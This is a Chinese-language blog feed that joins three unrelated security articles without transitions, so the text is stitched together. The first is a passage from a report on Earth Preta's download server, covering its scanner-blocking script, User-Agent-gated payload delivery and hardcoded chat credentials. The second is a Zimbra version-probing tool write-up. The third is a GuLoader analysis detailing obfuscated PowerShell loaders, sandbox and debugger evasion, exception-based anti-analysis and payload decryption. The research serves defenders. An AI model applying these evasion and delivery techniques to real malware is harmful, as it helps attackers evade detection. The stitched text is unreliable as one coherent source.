主題名稱iot/server0用於檢測分析或調試環境，因此受害者數量最少。 3月份的峰值最高，因為ESET報告是在3月2日發布的，這個峰值涉及自動化系統（沙箱和其他分析系統）的激活。因此，研究人員決定將峰值分解成更小的範圍。

21.png

QMAGENT受害者

來自QMAGENT惡意軟件的CC請求JSON體包含一個Alive密鑰，該密鑰是惡意軟件的正常運行時間（以分鐘為單位）。

22.png

QMAGENT受害者活動時間

研究人員將前10個的運行時間分為三類：473秒、200秒和170秒。由於涉及許多分析系統，研究人員認為這些時間是不同沙盒的一些常見的超時設置。例如，CAPEv2沙箱中的默認超時設置正好是200秒。

23.png

CAPEv2中的默認超時設置

操作安全性差調查中，研究人員收集了幾個惡意壓縮文件的下載鏈接。研究人員注意到，攻擊者不僅傳播了Google Drive鏈接，還傳播了由不同雲提供商託管的其他IP地址。以下是研究人員最近觀察到的一些下載鏈接：

24.png

很明顯，url中的路徑遵循幾種模式，例如/fav/xxxx或/f/xx。在檢查url時，研究人員還發現xx模式與受害者相關（這些模式是他們的國家代碼）。在調查下載網站80[.]85[.]156[.]]151（由Python的SimpleHTTPServer託管），研究人員發現它在端口8000上有一個打開的目錄，其中託管了大量的數據和腳本。

25.png

開放目錄漏洞

下載網站中的重要文件如下：

26.png

打開目錄中的文件

接下來，我們將介紹部署在服務器上的腳本文件。

Firewall: fw.shEarth Preta使用腳本文件fw.sh來阻止來自特定IP地址的傳入連接。禁止訪問的IP地址列在文件blacklist.txt中。該組織似乎有意使用python請求、curl和wget阻止來自某些已知爬蟲和某些已知安全提供程序的傳入請求。研究人員認為該組織正在試圖阻止該網站被掃描和分析。

27.png

“fw.sh”腳本

28.png

blacklist.txt中列出的一些IP地址

主服務器：app.py主腳本文件app.py用於託管web服務器並等待來自受害者的連接。它處理以下URL路徑：

29.png

下載網站的URL路徑

下載網站的根路徑如下圖所示。它顯示一條虛假信息，冒充來自谷歌。

30.png

網站的根頁面

同時，webchat函數/webchat允許兩個用戶在同一頁面上相互通信。登錄用戶名和密碼在源代碼中進行硬編碼，分別為john:john和tom:tom。

31.png

webchat的登錄界面

登錄後，用戶可以通過WebSocket提交他們的短信，他們收到的所有消息都會顯示在這裡。基於硬編碼的用戶名，研究人員假設“tom”和“john”是相互合作的。

32.png

網絡聊天的源代碼

如上所述，研究人員收集的大多數惡意下載URL都遵循特定的模式，如/fav/xxxx或/file/xxxx。根據源代碼，如果請求的User-Agent標頭包含以下任何字符串，則路徑/fav/（依此類推）將下載有效負載Documents.rar：Windows NT 10；

Windows NT 6；

這個壓縮文件被託管在IP地址80[.]85[.]157[.]3上。如果不滿足指定的用戶代理條件，用戶將被重定向到另一個Google Drive鏈接。在撰寫本文時，研究人員無法檢索有效負載，因此無法確定它們是否確實是惡意的。研究人員認為，這是一種向不同受害者提供不同有效負載的機制。

33.png

“app.py”中的源代碼

值得注意的是，每個源IP地址、請求標頭和請求URL都會記錄在每個連接上。然後，所有日誌文件都存儲在/static文件夾中。

The logging files: /static“/static”文件夾包含大量的日誌文件，這些文件似乎是由攻擊者手動更改的。在撰寫本文時，日誌文件記錄了2023年1月3日至2023年3月29日的日誌。當研究人員找到它們的時候，文件夾裡有40個日誌文件。

HireHackking

0x00 前言本文將要介紹Zimbra版本探測的多種方法，通過Python實現自動化，記錄開發細節，開源代碼。

0x01 簡介本文將要介紹以下內容：

實現思路

實現細節

開源代碼

0x02 實現思路查看Zimbra版本的方法有很多，各有優缺點，具體方法如下：

1.通過Web管理頁面通過瀏覽器訪問7071管理頁面，在主頁面會顯示當前Zimbra版本

例如我的測試環境顯示為：

Zimbra Version: 9.0.0_GA_4273.NETWORK

通過該方法獲得的版本為準確版本

2.通過執行命令微信截图_20230303155211.png

2.png

注：

Zimbra補丁更新可參考：

https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/patch_installation

3.通過Zimbra SOAP API默認配置下，zimbraSoapExposeVersion屬性為FLASE，查詢命令：

微信截图_20230303155456.png返回結果：

3.png需要將zimbraSoapExposeVersion屬性設置為TRUE後，可以通過Zimbra SOAP API獲得版本，修改屬性的命令為：

4.png發送的SOAP格式示例：

5.png默認配置下的返回結果：

6.png

4.通過imap協議7.png

5.通過imap over ssl協議8.png

6.通過特定url 9.png

0x03 實現細節綜合以上探測方法，為了適應多種環境，在程序實現上選取了通過imap協議、通過imap over ssl協議和通過特定url三種方法實現

1.通過imap協議完整示例代碼：

10.png 11.png

2.通過imap over ssl協議需要將ip轉為hostname作為參數，示例代碼:

12.png

完整示例代碼：

13.png 14.png

存在部分環境無法將ip轉為hostname，導致報錯：[Errno 11004] host not found，所以在程序判斷邏輯上優先使用imap協議

3.通過特定url完整示例代碼：

15.png 16.png

0x04 開源代碼完整的實現代碼已上傳至github，地址如下：

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_GetVersion.py

代碼首先嘗試通過特定url獲得版本信息，再通過imap協議讀取版本信息，如果失敗，最後通過imap over ssl協議讀取版本信息

0x05 小結本文介紹了Zimbra版本探測的多種方法，比較優缺點，選取有效的方法並通過Python實現自動化，記錄開發細節，開源代碼，作為一個很好的學習示例。

HireHackking

微信截图_20230603211328.png

GuLoader又稱CloudEyE，是一種Visual Basic Script (VBS) 下載程序，用於在受感染的計算機上傳播遠程訪問木馬，最早於2019年被首次發現。 GuLoader是一個著名的基於shellcode的下載程序，已被用於大量攻擊，主要用於傳輸各類惡意軟件。 GuLoader已經活躍了三年多，目前仍在進一步開發中。最新版本集成了新的反分析技術，這使得檢測變得越來越困難。新的GuLoader樣本在VirusTotal上接收零檢測，確保其惡意有效負載也未被檢測到。

GuLoader的有效負載是完全加密的，包括PE標頭。這允許攻擊者使用知名的公共雲服務存儲有效負載，繞過安全保護，並保持有效負載長時間可供下載。

早期版本的GuLoader是作為包含加密shellcode的VB6應用程序實現的。目前，最常見的版本是基於VBScript和NSIS安裝程序。 VBScript變體將shellcode存儲在遠程服務器上。

GuLoader介紹“封裝”和“加密”服務是專門為抵抗安全產品而設計的。 GuLoader是攻擊者用來逃避安全檢測的最重要途徑。

1.png

過去6個月內使用GuLoader的攻擊次數

除了代碼加密之外，GuLoader還利用了許多其他技術，包括反調試和沙盒逃避技術。 GuLoader的一個顯著特徵是加密的有效負載被上傳到遠程服務器。潛在的攻擊者會獲得一個高度保護的基於shellcode的加載程序，該加載程序從遠程服務器下載負載，然後解密並在內存中運行它，而不會將解密的數據釋放到硬盤驅動器中。

儘管谷歌努力阻止GuLoader加密的惡意負載，但在大多數情況下，GuLoader仍然從谷歌硬盤下載負載。下圖顯示了GuLoader在過去一個月使用的不同託管服務的統計數據。

2.png

GuLoader在2023年3月至4月期間使用的不同託管服務

有分析表明，GuLoader目前被用來傳播以下惡意軟件：

Formbook

XLoader

Remcos

404Keylogger

Lokibot

AgentTesla

NanoCore

NetWire

早期的GuLoader樣本設法避免了安全產品的檢測，但後來不同的安全解決方案都能夠檢測到它。然而，在網絡安全供應商不斷提高同時，GuLoader的開發人員也在繼續改進他們的產品。

技術細節GuLoader的早期版本是作為包含加密shellcode的VB6應用程序實現的。 shellcode執行加載加密有效負載、解密和從內存啟動它的主要功能。

目前，最常見的版本是基於VBScript和NSIS安裝程序(Nullsoft Scriptable Install System)。

VBScript變體在2022年底介紹的早期版本中，shellcode存儲在VBScript中。

新版本的一個顯著特點是加密的shellcode託管在雲服務(通常是Google Drive)上。 VBScript本身只包含一個小的混淆的PowerShell腳本和大量的垃圾代碼。這使得GuLoader樣本保持非常低的檢測率。

以下是使用GuLoader的VBS變體的感染鏈示例：

3.png

使用GuLoader的VBS變體的感染鏈

讓我們考慮一個SHA256 5fcfdf0e241a0347f9ff9caa897649e7fe8f25757b39c61afddbe288202696d5的示例。在2023年3月3日上傳到VirusTotal (VT)時，它從未被檢測到：

4.png

上傳兩天后，59家供應商中只有17家將此樣本標記為惡意樣本。

在撰寫本文時，指定的樣本上傳到VT已有3週，下載GuLoader shellcode和下載惡意負載(Remcos)的url仍然很活躍：

5.png

讓我們來看看GuLoader VBScript的內部。它包含許多偽隨機註釋和一些無用的命令。清理之後，我們得到的代碼是這樣的：

6.png

清理過的GuLoader vbscript

這段代碼的目的是調用PowerShell解釋器，並將“pa0”變量中收集的腳本代碼作為參數傳遞給它。

如果我們在添加省略和連字符後查看“pa0”變量的內容，我們會得到以下腳本：

7.png

GuLoader混淆了PowerShell腳本

我們看到這個新腳本包含函數“Gothites9”，它實現了從第二個字符開始以3的步長剪切傳遞的字符串。因此，命令“$Tjene0=Gothites9'OIUlEDiXSa'；”的結果是“IEX”。

字符串$Parrotb以相同的方式轉換。從位置2開始，從該字符串中每隔三個字符獲取一個字符串，該字符串是另一個PowerShell腳本：

8.png

刪除第一層混淆後的GuLoader PowerShell腳本

該腳本可以通過使用IEX命令(如果操作系統是32位)調用，也可以作為參數傳遞給從SysWOW64文件夾調用的PowerShell解釋器(如果操作系統是64位)。這是因為GuLoader shellcode必須在32位進程中運行。

可以看到，腳本代碼包含指向Google Drive的URL。

但是，生成的腳本仍然嚴重混淆。腳本以一個用於解碼字符串的函數開始：

9.png

GuLoader PowerShell腳本中的編碼字符串

有趣的是，嵌套腳本中的所有行都以編碼形式存儲，除了包含URL的行。

腳本去混淆後，我們得到以下代碼：

10.png

GuLoader PowerShell腳本去混淆

現在我們可以看到，腳本分配了2個內存區域，將數據從鏈接下載到Google Drive，並將其保存到臨時文件“%APPDATA%\Umig.For”中。接下來，使用BASE64對下載文件的內容進行解碼。解碼數據的前654個字節被釋放在第一個存儲區域（本例中為“$Gamme2483”），其餘的被釋放在第二個存儲區域中（本例為“$Nulstille”）。前654個字節包含一個混淆的shellcode，它旨在解密第二個複制區域，其中包含加密形式的shellcode的主要部分。

通過使用CallWindowsProc回調函數將控制權轉移到解密器，該函數還接收加密shellcode的地址和NtProtectVirtualMemory函數的地址作為參數。

基於NSIS安裝程序的變體與VBS變體不同，基於NSIS的樣本包含GuLoader shellcode，儘管是以加密的形式。這允許安全研究人員在沙盒中運行示例並查看GuLoader的行為，即使沙盒沒有連接到互聯網。靜態分析NSIS腳本和加密shellcode也是可能的。

在上傳到VirusTotal後，此類樣本現在可以被檢測到。

11.png

基於NSIS安裝程序的GuLoader變體的檢測率

我們不會詳細描述這種變體，因為在GuLoader: The NSIS Vantage Point一文中已經對其進行了分析。

GuLoader shellcodeNSIS和VBS變體都使用相同版本的shellcode。與以前的GuLoader版本一樣，shellcode實現了大量的反分析技術：

沙盒逃避技術包括：

掃描內存中與vm相關的字符串；

使用CPUID指令檢查虛擬化環境位是否開啟；

使用RDTSC結合CPUID測量時間；

搜索QEMU相關文件：C:\Program files\QEMU ga\QEMU-ga.exe和C:\Program files\qga\qga.exe；

使用EnumWindows API函數統計Windows的數量；

使用EnumDeviceDrivers API函數檢查是否存在與vm相關的驅動程序；

使用MsiEnumProductsA和MsiGetProductInfoA枚舉已安裝的軟件；

反調試技術：

掛鉤函數DbgBreakPoint和DbgUiRemoveBreakIn，以防止調試器附加；

從使用ThreadHideFromDebugger調用NtSetInformationThread函數的調試器中隱藏主線程ThreadInformation類值；

了解了GuLoader shellcode所使用的技術，在動態分析過程中使用調試器可以很容易地繞過它們。然而，在新版本中，我們遇到了一種使調試和靜態分析都非常困難的技術。

一種新的反分析技術從2022年底開始，GuLoader shellcode使用了一種新的反分析技術，它通過故意拋出大量異常並在將控制權轉移到動態計算地址的向量異常處理程序中處理它們來打破代碼執行的正常流程。

為了拋出異常，代碼使用int3指令。可以實現一個腳本，將int3指令自動替換為跳轉到正確地址的指令：

12.png

用jmp指令替換int3指令

該技術在《恶意软件分析：GuLoader剖析揭示新的反分析技术和代码注入冗余》 一文中首次被公開。然而，在新版本中，這項技術得到了改進。 shellcode開始使用三種不同的模式來拋出異常併中斷正常的代碼執行流程。

訪問無效內存地址導致訪問衝突

這種模式非常簡單。首先，作為數學運算的結果，其中一個寄存器被設置為零值。然後shellcode嘗試將數據寫入由該寄存器尋址的內存：

13.png

訪問無效內存地址引發訪問違規異常

導致訪問違規異常(0xC0000005)。該異常在GuLoader中由註冊的VEH處理，該VEH計算新地址以繼續執行shellcode。所使用的數字和導致計算零值的數學運算總是不同的。

設置陷阱標誌以引發單步異常GuLoader使用以下指令組合來設置EFALGS寄存器中的TF：

14.png

設置陷阱標誌以引發單步異常

乍一看，這段代碼中發生了什麼並不清楚。然而，如果我們計算寄存器EDI中的值，則得到值0x100。接下來的幾個指令的組合旨在推動EFLAGS並將TF (陷阱標誌)位設置為“1”。然後，將堆棧中修改後的值設置回EFLAGS寄存器。

當在EFLAGS寄存器中設置了Trap標誌但未附加調試器時，處理器會在執行下一條指令後生成單步異常（0x80000004）。在GuLoader中，註冊的VEH在這種情況下被調用。但是，如果附加了調試器，則不會調用GuLoader的VEH，並且執行路徑錯誤。

GuLoader shellcode中的代碼塊總是不同的，可以使用寄存器的各種組合。在無效內存地址的情況下，使用的數字和導致在EFLAGS寄存器中計算值0x100來設置TF的數學運算總是不同的。

使用int3引發斷點異常使用int3作為指令進行反分析技術已經在以前版本的GuLoader中實現。然而，它仍然被用於GuLoadershellcode的各個部分。當CPU在沒有調試器的情況下遇到int3指令時，它會生成斷點異常（0x80000003），並調用已註冊的VEH。但是，如果附加了調試器，則控制將轉移到調試器的中斷處理程序，該中斷處理程序通常會暫停程序的執行。 int3指令後面通常是隨機字節，這些字節會破壞shellcode的正常執行：

15.png

使用int3引發斷點異常

因此，如果不分析GuLoader VEH的代碼，我們就無法確定正確的執行路徑。

異常處理程序為了在出現3個指定異常的情況下計算新的跳轉地址，並將程序引導到新的執行路徑，GuLoader使用RtlAddVectoredExceptionHandler函數註冊向量異常處理程序（VEH）。

為了了解跳轉地址是如何計算的，讓我們看一下VEH代碼。

與代碼的其他部分一樣，VEH代碼也被混淆了。它包含垃圾指令，並且使用XOR運算動態計算重要值：

16.png

混淆的VEH代碼

然而，在IDA中反編譯之後，這段代碼看起來非常簡單：

17.png

反編譯的VEH代碼

如上所述，根據異常代碼的不同，VEH操作略有不同。在異常0x80000004 (EXCEPTION_SIGNLE_STEP)和0xC0000005 (EXCEPTION_ACCESS_VIOLATION)的情況下，它從發生異常的指令中獲取偏移量2處的字節值，並將該字節與某個常數值進行XOR（本例中為0x8B）。在異常0x80000003 (EXCEPTION_BREAKPOINT)的情況下，將獲取偏移量1處的字節，並使用常量進行XOR運算。需要注意的是，指定的常數在所有樣品中都是不同的。然後將得到的值添加到異常上下文中的EIP值中。因此，當退出異常處理程序時，控制權將轉移到新地址。

在所有情況下，異常處理程序還會檢查調試寄存器的狀態：

18.png

檢查VEH中的調試寄存器

如果設置了任何硬件斷點，異常處理程序將引用零地址而不是ContextRecord地址。這最終會導致應用程序崩潰。

在EXCEPTION_BREAKPOINT的情況下，異常處理程序還在舊EIP和計算出的新EIP值之間的地址空間中查找軟件斷點。

儘管可以使用各種各樣的代碼組合來觸發異常處理程序的執行，但它們都遵循3種模式，我們可以實現一個正則表達式來查找其中的大多數。不過，我們期望GuLoader開發人員在新版本中改變模式。

要修復一條引發異常的指令，並將其替換為跳轉到x32dbg中的正確地址，可以使用以下腳本(必須將0x8B替換為分析示例中的常量值)：

19.png

URL解密

所有字符串，包括下載最終有效負載的URL，都被加密並以特定形式存儲在shellcode中：

20.png

對於上面的示例，我們去混淆了代碼，清除了垃圾指令和跳轉。實際上，代碼中包含大量的垃圾和無效指令。為了幫助理解混淆的複雜性，這是與前面的示例相對應的原始代碼的一部分：

21.png

在嚴重混淆的GuLoader shellcode中合成加密字符串

與字符串不同，解密密鑰存儲為解密函數後面的常規字節序列：

22.png

字符串解密XOR密鑰

這個密鑰通常不是很長，最多64字節。

使用帶有解密密鑰的XOR運算對字符串進行解密。解密字符串後，我們可以找到一個看起來像URL但沒有架構的字符串：

23.png

很明顯，GuLoader的開發者已經發現了安全研究人員知道了其在已知明文攻擊中使用字符串“http://”或“https://”解密以前版本shellcode中的url的方法，以檢測解密密鑰的第一個字節。因此，在新版本中，他們用隨機字節替換了URL方案。

如果解密後的URL字符串的第5個字節等於“s”，則GuLoader將前8個字節替換為“https://”。否則，它將用“http://”替換前7個字節。

以下是從不同示例中提取的更多URL字符串的示例：

24.png

有效負載解密

有效負載解密密鑰也以與加密字符串相同的方式存儲，但是該密鑰沒有被加密。密鑰長度通常在800-900字節的範圍內。

例如，在MD5 40b9ca22013d02303d49d8f922ac2739的示例中，密鑰的長度為844字節。然而，另一個長度用於解密例程，並以混淆形式存儲：

25.png

用於解密有效負載的密鑰長度與密鑰存儲的長度不同

GuLoader使用不同的大小，而不是與密鑰一起存儲的大小，來欺騙自動分析。如果我們不考慮這一點，我們只能解密下載有效負載的前843字節，其餘的數據將被破壞。

與以前